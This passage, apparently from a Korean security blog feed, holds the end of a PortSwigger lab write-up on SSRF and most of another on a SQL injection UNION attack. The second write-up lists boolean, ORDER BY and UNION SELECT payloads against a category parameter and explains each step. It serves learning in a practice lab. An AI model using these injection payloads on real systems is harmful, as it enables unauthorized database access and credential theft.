문제가 클리어 된 것을 볼 수 있음.png&quot; data-origin-width=&quot;1001&quot; data-origin-height=&quot;672&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;admin&amp;nbsp;인터페이스에&amp;nbsp;다시&amp;nbsp;접속해서&amp;nbsp;확인해&amp;nbsp;보면&amp;nbsp;carlos&amp;nbsp;계정이&amp;nbsp;삭제되어&amp;nbsp;있는&amp;nbsp;것을&amp;nbsp;볼&amp;nbsp;수&amp;nbsp;있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;13_실제로 다시 admin 인터페이스 접속해보면 carlos 계정이 삭제되어 없는 것을 볼 수 있음.png&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;449&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTd4lw/dJMcadbiZNY/XeWGKk2JrNHmhzgRjd1Zr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTd4lw/dJMcadbiZNY/XeWGKk2JrNHmhzgRjd1Zr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTd4lw/dJMcadbiZNY/XeWGKk2JrNHmhzgRjd1Zr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTd4lw%2FdJMcadbiZNY%2FXeWGKk2JrNHmhzgRjd1Zr1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;424&quot; data-filename=&quot;13_실제로 다시 admin 인터페이스 접속해보면 carlos 계정이 삭제되어 없는 것을 볼 수 있음.png&quot; data-origin-width=&quot;900&quot; data-origin-height=&quot;449&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>[WEB] CTF &amp;amp; Wargame/PortSwigger Web Security Academy</category>
      <category>open redirect</category>
      <category>portswigger</category>
      <category>portswigger web security academy</category>
      <category>REDIRECT</category>
      <category>SSRF</category>
      <category>ssrf via open redirection</category>
      <category>리다이렉트</category>
      <category>모의해킹</category>
      <category>모의해킹 공부</category>
      <author>0xSecurity</author>
      <guid isPermaLink="true">https://code000.tistory.com/33</guid>
      <comments>https://code000.tistory.com/entry/Lab-SSRF-with-filter-bypass-via-open-redirection-vulnerability#entry33comment</comments>
      <pubDate>Sun, 21 Jun 2026 23:31:27 +0900</pubDate>
    </item>
    <item>
      <title>Lab: SQL injection UNION attack, retrieving multiple values in a single column</title>
      <link>https://code000.tistory.com/entry/Lab-SQL-injection-UNION-attack-retrieving-multiple-values-in-a-single-column</link>
      <description>&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 링크&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;https://portswigger.net/web-security/sql-injection/union-attacks/lab-retrieve-multiple-values-in-single-column&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;목표 &amp;amp; 사용 도구&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;목표:&lt;/b&gt;&lt;span&gt; administrator 계정의 비밀번호를 알아내서 해당 계정으로 로그인을 하는 것입니다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;사용도구:&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Burp Suite&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 0.1em 1em 0.1em 0.5em; margin: 0.5em 0em; color: #000; border-left: 6px solid #000; border-bottom: 2px #e5e5e5 solid;&quot; data-ke-size=&quot;size26&quot;&gt;문제 풀이 - Lab:&amp;nbsp;SQL&amp;nbsp;injection&amp;nbsp;UNION&amp;nbsp;attack,&amp;nbsp;retrieving&amp;nbsp;multiple&amp;nbsp;values&amp;nbsp;in&amp;nbsp;a&amp;nbsp;single&amp;nbsp;column&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제 사이트에 접속하여 문제를 확인합니다. 해당 문제는 상품 카테고리 필터에 SQL Injection 취약점이 있다고 하며 UNION을 사용할 수 있다고 합니다. 또한 쿼리에 대한 응답이 화면에 반환이 되며 DB에는 user 테이블이 있고 해당 테이블에는 username과 password 컬럼이 있다고 합니다. ACCESS THE LAB을 클릭하여 랩에 접속합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1_문제확인.png&quot; data-origin-width=&quot;849&quot; data-origin-height=&quot;555&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVLznq/dJMcafmKbwE/Sf3yvDV1b8XoRSCGbFz630/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVLznq/dJMcafmKbwE/Sf3yvDV1b8XoRSCGbFz630/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVLznq/dJMcafmKbwE/Sf3yvDV1b8XoRSCGbFz630/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVLznq%2FdJMcafmKbwE%2FSf3yvDV1b8XoRSCGbFz630%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;458&quot; data-filename=&quot;1_문제확인.png&quot; data-origin-width=&quot;849&quot; data-origin-height=&quot;555&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;랩에 접속하면 카테고리를 설정할 수 있는데 아무 카테고리를 클릭해 줍니다. (저는 Gifts로 선택했습니다.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2_카테고리 아무거나 선택.png&quot; data-origin-width=&quot;849&quot; data-origin-height=&quot;591&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Utu4b/dJMcadbgBjq/LFFhSMbga2VkGLWF9L2Mbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Utu4b/dJMcadbgBjq/LFFhSMbga2VkGLWF9L2Mbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Utu4b/dJMcadbgBjq/LFFhSMbga2VkGLWF9L2Mbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUtu4b%2FdJMcadbgBjq%2FLFFhSMbga2VkGLWF9L2Mbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;700&quot; height=&quot;487&quot; data-filename=&quot;2_카테고리 아무거나 선택.png&quot; data-origin-width=&quot;849&quot; data-origin-height=&quot;591&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Burp Suite를 이용해서 카테고리를 선택했을 때의 요청을 Repeater 기능에 세팅합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3_burp 사용해서서 리피터기능사용.png&quot; data-origin-width=&quot;1373&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UKy9h/dJMcabxNVAq/Qk85izRw6y9re5zNYtnMAK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UKy9h/dJMcabxNVAq/Qk85izRw6y9re5zNYtnMAK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UKy9h/dJMcabxNVAq/Qk85izRw6y9re5zNYtnMAK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUKy9h%2FdJMcabxNVAq%2FQk85izRw6y9re5zNYtnMAK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;340&quot; data-filename=&quot;3_burp 사용해서서 리피터기능사용.png&quot; data-origin-width=&quot;1373&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;페이로드를 입력해서 먼저 SQL Injection이 가능한지 확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- sql query 문 조건식 참일 때&lt;/b&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드:&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;Gifts'+and+'1'='1&amp;nbsp;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;br /&gt;&lt;/b&gt;페이로드에서 + 기호는 공백(스페이스)를 의미합니다.&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4_category 파라미터 sql inejction 가능성 보임.png&quot; data-origin-width=&quot;1367&quot; data-origin-height=&quot;544&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWwyVR/dJMcacp0INP/fxYfkQFWT44wFZXONoubmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWwyVR/dJMcacp0INP/fxYfkQFWT44wFZXONoubmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWwyVR/dJMcacp0INP/fxYfkQFWT44wFZXONoubmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWwyVR%2FdJMcacp0INP%2FfxYfkQFWT44wFZXONoubmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;338&quot; data-filename=&quot;4_category 파라미터 sql inejction 가능성 보임.png&quot; data-origin-width=&quot;1367&quot; data-origin-height=&quot;544&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;-&amp;nbsp;sql&amp;nbsp;query&amp;nbsp;문&amp;nbsp;조건식&amp;nbsp;거짓일&amp;nbsp;때&amp;nbsp;&lt;/b&gt; &lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드:&lt;/b&gt;&amp;nbsp;Gifts'+and+'1'='2&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;sql&amp;nbsp;query&amp;nbsp;문&amp;nbsp;조건식이&amp;nbsp;참,&amp;nbsp;거짓일&amp;nbsp;때의&amp;nbsp;따라&amp;nbsp;화면에&amp;nbsp;반환되는&amp;nbsp;응답이&amp;nbsp;다르다는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있고&amp;nbsp;이는&amp;nbsp;사용자의&amp;nbsp;입력&amp;nbsp;값이&amp;nbsp;sql&amp;nbsp;query&amp;nbsp;문에&amp;nbsp;반영이&amp;nbsp;되고&amp;nbsp;있으며&amp;nbsp;조작할&amp;nbsp;수&amp;nbsp;있음을&amp;nbsp;의미합니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;5_category 파라미터에 sql 쿼리문 거짓일때.png&quot; data-origin-width=&quot;1374&quot; data-origin-height=&quot;581&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/2NQkX/dJMcaci90F7/sjZkJFnSmuL6LR95cbyAO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/2NQkX/dJMcaci90F7/sjZkJFnSmuL6LR95cbyAO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/2NQkX/dJMcaci90F7/sjZkJFnSmuL6LR95cbyAO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F2NQkX%2FdJMcaci90F7%2FsjZkJFnSmuL6LR95cbyAO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;359&quot; data-filename=&quot;5_category 파라미터에 sql 쿼리문 거짓일때.png&quot; data-origin-width=&quot;1374&quot; data-origin-height=&quot;581&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;문제에서 UNION 구문을 사용할 수 있다고 했으며 UNION 구문을 사용하기 위해서는 먼저 컬럼의 개수를 알아야 합니다. order by와&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; #&amp;nbsp;&lt;/span&gt; (주석 기호)를 이용해서 확인하려고 했지만 에러가 발생하는 것을 확인할 수 있습니다.&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt; [설명]&lt;/b&gt;&lt;br /&gt;DB마다&amp;nbsp;주석&amp;nbsp;처리할&amp;nbsp;때&amp;nbsp;기호가&amp;nbsp;조금씩&amp;nbsp;다를&amp;nbsp;수&amp;nbsp;있습니다.&amp;nbsp;#&amp;nbsp;기호의&amp;nbsp;경우&amp;nbsp;MySQL,&amp;nbsp;MariaDB에서&amp;nbsp;사용되는&amp;nbsp;주석&amp;nbsp;처리&amp;nbsp;기호이며&amp;nbsp;해당&amp;nbsp;기호를&amp;nbsp;사용했을&amp;nbsp;때&amp;nbsp;에러가&amp;nbsp;발생했으므로&amp;nbsp;랩에서&amp;nbsp;사용하는&amp;nbsp;DB는&amp;nbsp;MySQL,&amp;nbsp;MariaDB가&amp;nbsp;아니라는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;또한&amp;nbsp;주석을&amp;nbsp;사용하는&amp;nbsp;이유는&amp;nbsp;사용자의&amp;nbsp;입력&amp;nbsp;값으로&amp;nbsp;싱글&amp;nbsp;쿼터가&amp;nbsp;들어가면&amp;nbsp;실제로&amp;nbsp;완성되는&amp;nbsp;sql&amp;nbsp;query&amp;nbsp;문에서&amp;nbsp;싱글&amp;nbsp;쿼터가&amp;nbsp;하나&amp;nbsp;남아&amp;nbsp;에러가&amp;nbsp;발생하기&amp;nbsp;때문에&amp;nbsp;해당&amp;nbsp;에러를&amp;nbsp;발생시키지&amp;nbsp;않도록&amp;nbsp;하려고&amp;nbsp;주석을&amp;nbsp;사용하는&amp;nbsp;것입니다. &lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;6_hash를 사용한 주석처리 실패.png&quot; data-origin-width=&quot;1369&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bVYnnZ/dJMcac4yEP1/cQjSbHn279KUmkoW6nTANk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bVYnnZ/dJMcac4yEP1/cQjSbHn279KUmkoW6nTANk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bVYnnZ/dJMcac4yEP1/cQjSbHn279KUmkoW6nTANk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbVYnnZ%2FdJMcac4yEP1%2FcQjSbHn279KUmkoW6nTANk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;339&quot; data-filename=&quot;6_hash를 사용한 주석처리 실패.png&quot; data-origin-width=&quot;1369&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이번엔&amp;nbsp;&lt;span style=&quot;background-color: #dddddd;&quot;&gt; -&amp;nbsp;&lt;/span&gt; 기호를 이용해서 order by와 주석 처리를 시도하여 컬럼의 개수를 알아냅니다&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%; height: 101px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 101px;&quot;&gt;
&lt;td style=&quot;width: 100%; height: 101px;&quot;&gt;&lt;b&gt; 페이로드:&lt;/b&gt; Gifts'+order+by+1--&amp;nbsp; (응답 정상 반환)&lt;br /&gt;&lt;b&gt;페이로드:&lt;/b&gt; Gifts'+order+by+2--&amp;nbsp; (응답 정상 반환) &lt;br /&gt;&lt;b&gt;페이로드:&lt;/b&gt; Gifts'+order+by+3--&amp;nbsp; (에러)&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;&lt;span style=&quot;background-color: #dddddd;&quot;&gt;&amp;nbsp;-&amp;nbsp;&lt;/span&gt; 기호를 이용한 주석은 대부분의 관계형 DB에서 작동하며 order by 1, order by 2 에서 응답이 정상적으로 화면에 반환되고 있으므로 컬럼의 개수가 2개 이상이라는 것을 알 수 있습니다. 이어서 order by 3을 했을 때 응답에서 에러가 발생하게 되는데 세번 째 컬럼은 존재하지는 컬럼을 정렬하려고 했기 때문에 에러가 발생하는 것입니다. 따라서 컬럼은 2개 존재한다는 것을 알 수 있습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;- order by 1&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;7_--을 이용한 주석처리 성공.png&quot; data-origin-width=&quot;1370&quot; data-origin-height=&quot;549&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xBipq/dJMcacKkCi0/yEgPxCIKKbAEKFr3EOF6CK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xBipq/dJMcacKkCi0/yEgPxCIKKbAEKFr3EOF6CK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xBipq/dJMcacKkCi0/yEgPxCIKKbAEKFr3EOF6CK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxBipq%2FdJMcacKkCi0%2FyEgPxCIKKbAEKFr3EOF6CK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;341&quot; data-filename=&quot;7_--을 이용한 주석처리 성공.png&quot; data-origin-width=&quot;1370&quot; data-origin-height=&quot;549&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;-&amp;nbsp;order&amp;nbsp;by&amp;nbsp;2&lt;/b&gt; &lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;8_정렬 column을 계속해서 1씩 증가시킴.png&quot; data-origin-width=&quot;1363&quot; data-origin-height=&quot;550&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7ntjn/dJMcajvR0DE/pQy8gYph2HnlOr7fYuCShk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7ntjn/dJMcajvR0DE/pQy8gYph2HnlOr7fYuCShk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7ntjn/dJMcajvR0DE/pQy8gYph2HnlOr7fYuCShk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7ntjn%2FdJMcajvR0DE%2FpQy8gYph2HnlOr7fYuCShk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;343&quot; data-filename=&quot;8_정렬 column을 계속해서 1씩 증가시킴.png&quot; data-origin-width=&quot;1363&quot; data-origin-height=&quot;550&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;&lt;b&gt;- order by 3&amp;nbsp;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;9_order by 3 에서 에러, column수 2개 확인.png&quot; data-origin-width=&quot;1364&quot; data-origin-height=&quot;546&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S2kr2/dJMcaftshAK/4APmVNTSNEqCUtLSm6hNBk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S2kr2/dJMcaftshAK/4APmVNTSNEqCUtLSm6hNBk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S2kr2/dJMcaftshAK/4APmVNTSNEqCUtLSm6hNBk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS2kr2%2FdJMcaftshAK%2F4APmVNTSNEqCUtLSm6hNBk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;850&quot; height=&quot;340&quot; data-filename=&quot;9_order by 3 에서 에러, column수 2개 확인.png&quot; data-origin-width=&quot;1364&quot; data-origin-height=&quot;546&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;컬럼의&amp;nbsp;개수가&amp;nbsp;2개인&amp;nbsp;것을&amp;nbsp;알아냈으므로&amp;nbsp;이제&amp;nbsp;UNION&amp;nbsp;구문을&amp;nbsp;사용할&amp;nbsp;수&amp;nbsp;있는지&amp;nbsp;확인합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;b&gt;페이로드:&lt;/b&gt; '+union+select+null,null-- &lt;br /&gt;&lt;br /&gt;&lt;b&gt;[설명]&lt;/b&gt; &lt;br /&gt;union 구문을 사용할 때 대응되는 컬럼의 데이터 타입이 같은 타입이어야 하는 DB들이 있으며 Oracle, PostgreSQL 와 같은 DB들이 해당됩니다. 따라서 union 구문을 사용할 때 null을 사용합니다. null은 특정 타입이 정해진 값이 아니기 때문에 대부분 사용이 가능합니다.&amp;nbsp; &lt;br /&gt;(MySQL,&amp;nbsp;MariaDB의&amp;nbsp;경우&amp;nbsp;자동으로&amp;nbsp;데이터&amp;nbsp;타입이&amp;nbsp;캐스팅됩니다.) &lt;br /&gt;&lt;br /&gt;또한 웹 애플리케이션이 어떤 DB를 사용하느냐에 따라 UNION 구문을 사용하여 공격을 시도할 때 문법이 조금씩 달라지게 됩니다. 예를 들면 Oracle DB의 경우 from 절이 있어야 하기 때문에 from dual을 사용해야 합니다. 이번 페이로드는 Oracle DB가 아니라고 생각하고 페이로드를 사용했습니다. &lt;br /&gt;&lt;br /&gt;화면에&amp;nbsp;에러가&amp;nbsp;발생하지&amp;nbsp;않고&amp;nbsp;응답이&amp;nbsp;정상적으로&amp;nbsp;오고&amp;nbsp;있기&amp;nbsp;때문에&amp;nbsp;정상적으로&amp;nbsp;UNION&amp;nbsp;구문이&amp;nbsp;사용&amp;nbsp;가능하다는&amp;nbsp;것을&amp;nbsp;알&amp;nbsp;수&amp;nbsp;있습니다.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
